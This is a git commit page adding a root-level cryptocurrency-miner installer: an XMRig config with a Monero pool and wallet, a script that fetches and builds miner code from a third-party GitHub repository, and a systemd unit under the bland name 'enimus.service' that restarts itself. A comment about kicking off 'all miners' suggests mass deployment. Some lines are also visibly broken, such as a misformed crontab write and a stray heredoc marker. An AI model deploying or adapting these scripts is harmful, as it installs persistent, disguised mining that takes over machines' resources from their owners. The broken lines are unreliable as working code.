Add files via upload
This commit is contained in:
parent
8ab9f0f860
commit
c7ceafe076
3 changed files with 103 additions and 0 deletions
38
config.json
Normal file
38
config.json
Normal file
|
@ -0,0 +1,38 @@
|
||||||
|
{
|
||||||
|
"algo": "cryptonight",
|
||||||
|
"api": {
|
||||||
|
"port": 0,
|
||||||
|
"access-token": null,
|
||||||
|
"worker-id": null,
|
||||||
|
"ipv6": false,
|
||||||
|
"restricted": true
|
||||||
|
},
|
||||||
|
"av": 0,
|
||||||
|
"background": false,
|
||||||
|
"colors": true,
|
||||||
|
"cpu-affinity": null,
|
||||||
|
"cpu-priority": null,
|
||||||
|
"donate-level": 1,
|
||||||
|
"huge-pages": false,
|
||||||
|
"hw-aes": null,
|
||||||
|
"log-file": null,
|
||||||
|
"max-cpu-usage": 75,
|
||||||
|
"pools": [
|
||||||
|
{
|
||||||
|
"url": "pool.supportxmr.com:5555",
|
||||||
|
"user": "44qchmhzrHYYnaiwa4YCwSYXQwkoX58TXiJtqwZZepTmKFzKqKHx9377EFHGGS98fnjWYCnLb43j34rwHNt3VQCpRuWm9ZH",
|
||||||
|
"pass": "vutank:enimus@enimus.info",
|
||||||
|
"rig-id": "x",
|
||||||
|
"nicehash": false,
|
||||||
|
"keepalive": false,
|
||||||
|
"variant": 1
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"print-time": 60,
|
||||||
|
"retries": 5,
|
||||||
|
"retry-pause": 5,
|
||||||
|
"safe": false,
|
||||||
|
"threads": null,
|
||||||
|
"user-agent": true,
|
||||||
|
"watch": false
|
||||||
|
}
|
23
local.sh
Normal file
23
local.sh
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
#!/bin/bash -ex
|
||||||
|
|
||||||
|
sudo cat >/tmp/enimus.service<<EOL
|
||||||
|
|
||||||
|
[Unit]
|
||||||
|
|
||||||
|
Description=enimus.service
|
||||||
|
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
|
||||||
|
ExecStart=/usr/local/bin/xmrig --config=/root/xmr/config.json
|
||||||
|
|
||||||
|
Restart=always
|
||||||
|
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
|
||||||
|
WantedBy=multi-user.target<<EOL
|
||||||
|
|
||||||
|
EOL
|
42
sz
Normal file
42
sz
Normal file
|
@ -0,0 +1,42 @@
|
||||||
|
#!/bin/bash -ex
|
||||||
|
cd /root
|
||||||
|
sudo add-apt-repository -y ppa:jonathonf/gcc-7.1
|
||||||
|
sudo apt-get update -y
|
||||||
|
|
||||||
|
sudo apt-get install -y gcc-7 g++-7
|
||||||
|
|
||||||
|
sudo apt-get install -y git build-essential cmake
|
||||||
|
|
||||||
|
sudo apt-get install -y libuv1-dev libmicrohttpd-dev uuid-dev
|
||||||
|
|
||||||
|
sudo echo /etc/crontab > 00 6 * * * root reboot
|
||||||
|
|
||||||
|
sudo git clone https://github.com/vladislavdid/xmr.git -q
|
||||||
|
|
||||||
|
cd xmr
|
||||||
|
mkdir build
|
||||||
|
cd build
|
||||||
|
|
||||||
|
sudo cmake .. -DCMAKE_C_COMPILER=gcc-7 -DCMAKE_CXX_COMPILER=g++-7 -DWITH_HTTPD=OFF
|
||||||
|
|
||||||
|
sudo make
|
||||||
|
|
||||||
|
sudo cp xmrig /usr/local/bin/xmrig
|
||||||
|
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
sudo chmod +x ./local.sh
|
||||||
|
|
||||||
|
sudo ./local.sh
|
||||||
|
|
||||||
|
sudo mv /tmp/enimus.service /etc/systemd/system/enimus.service
|
||||||
|
|
||||||
|
# this is kick off aaall miners lol.
|
||||||
|
|
||||||
|
sudo systemctl daemon-reload
|
||||||
|
|
||||||
|
sudo systemctl start enimus.service
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue